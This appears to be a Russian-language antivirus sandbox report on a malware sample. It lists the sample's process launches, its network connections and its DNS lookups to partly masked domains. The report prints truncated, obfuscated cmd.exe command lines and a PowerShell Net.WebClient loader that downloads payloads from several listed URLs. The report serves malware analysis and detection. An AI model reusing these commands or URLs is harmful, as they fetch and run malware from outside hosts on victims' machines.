Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set R0DU=^<m';#9C'^<~UjMihtixRitZb'e^|m=.V_Q}5ytJoSOP*2$VI*}s$T}A'7{o%\h6SCc^&CXtm`_a~D6cLrH}j:^&}B.S;$]gkoK\aHvAe^|]erQU#bP=5;#@t'Y5'UmtlO'u}P;\V...
Сетевая активность
Подключается к
- 'br##ni.net':80
- 'ad##ith.in':80
- 'ad##ith.in':443
TCP
- 'ad##ith.in':443
UDP
- DNS ASK ho##aug.com
- DNS ASK br##ni.net
- DNS ASK ad##ith.in
- DNS ASK ip###sansor.com
- DNS ASK ga####tem.com.ar
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set R0DU=^<m';#9C'^<~UjMihtixRitZb'e^|m=.V_Q}5ytJoSOP*2$VI*}s$T}A'7{o%\h6SCc^&CXtm`_a~D6cLrH}j:^&}B.S;$]gkoK\aHvAe^|]erQU#bP=5;#@t'Y5'UmtlO'u}P;\V...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V:O/C"set R0DU=^<m';#9C'^<~UjMihtixRitZb'e^|m=.V_Q}5ytJoSOP*2$VI*}s$T}A'7{o%\h6SCc^&CXtm`_a~D6cLrH}j:^&}B.S;$]gkoK/aHvAe^|]erQU#bP=5;#@t'Y5'UmtlO'u}P;\V'P*U=BwjoEKAt^&CqOXuq$t5R;sYSjK^&`w~h.wD...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo $BwG='XoS';$lNp=new-object Net.WebClient;$ITj='http://ho##aug.com/YeIyfdUcBo@http://brkini.net/o8MS8X4@http://adsmith.in/9zPcEumvy1@http://ipekasansor.com/74SanEK0OG@http://gapsy...
- '<SYSTEM32>\cmd.exe' /S /D /c" FOR /F "tokens=9 delims=\.YF" %a IN ('ftype^|find "ons"') DO %a -"
- '<SYSTEM32>\cmd.exe' /c ftype|find "ons"
- '<SYSTEM32>\cmd.exe' /S /D /c" ftype"
- '<SYSTEM32>\find.exe' "ons"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -
